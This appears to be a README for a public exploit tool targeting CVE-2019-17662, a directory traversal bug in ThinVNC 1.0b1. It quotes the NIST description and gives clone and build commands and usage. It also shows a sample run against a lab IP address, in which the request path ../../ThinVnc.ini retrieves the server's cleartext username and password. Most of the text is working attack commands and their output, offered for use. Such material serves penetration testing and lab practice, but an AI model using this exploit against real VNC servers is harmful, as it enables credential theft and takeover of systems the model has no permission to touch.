ThinVNC 1.0b1 is vulnerable to arbitrary file read, which leads to a compromise of the VNC server. The vulnerability exists even when authentication is turned on during the deployment of the VNC server. The password for authentication is stored in cleartext in a file that can be read via a ../../ThinVnc.ini directory traversal attack vector.
~ NIST
$ git clone https://github.com/whokilleddb/CVE-2019-17662
$ cd CVE-2019-17662
$ make$ ./bin/CVE-2019-17662 -h
[~] Usage: ./CVE-2019-17662 -u URL [-f File]
[>] Options:
OPTIONS Desciption
-u URL Base URL
-f File [Optional] File Name To Query (Default: ThinVnc.ini)$ ./bin/CVE-2019-17662 -u http://10.10.185.214:8080/
[+] CVE-2019-17662 exploit by @whokilleddb
[o] Target : http://10.10.185.214:8080/
[x] File To Read: ThinVnc.ini
[~] Trying to Read: http://10.10.185.214:8080/abc/../../ThinVnc.ini
[:] Trying To Fetch Credentials
[-] User=Atlas
[-] Password=H0ldUpTheHe@vens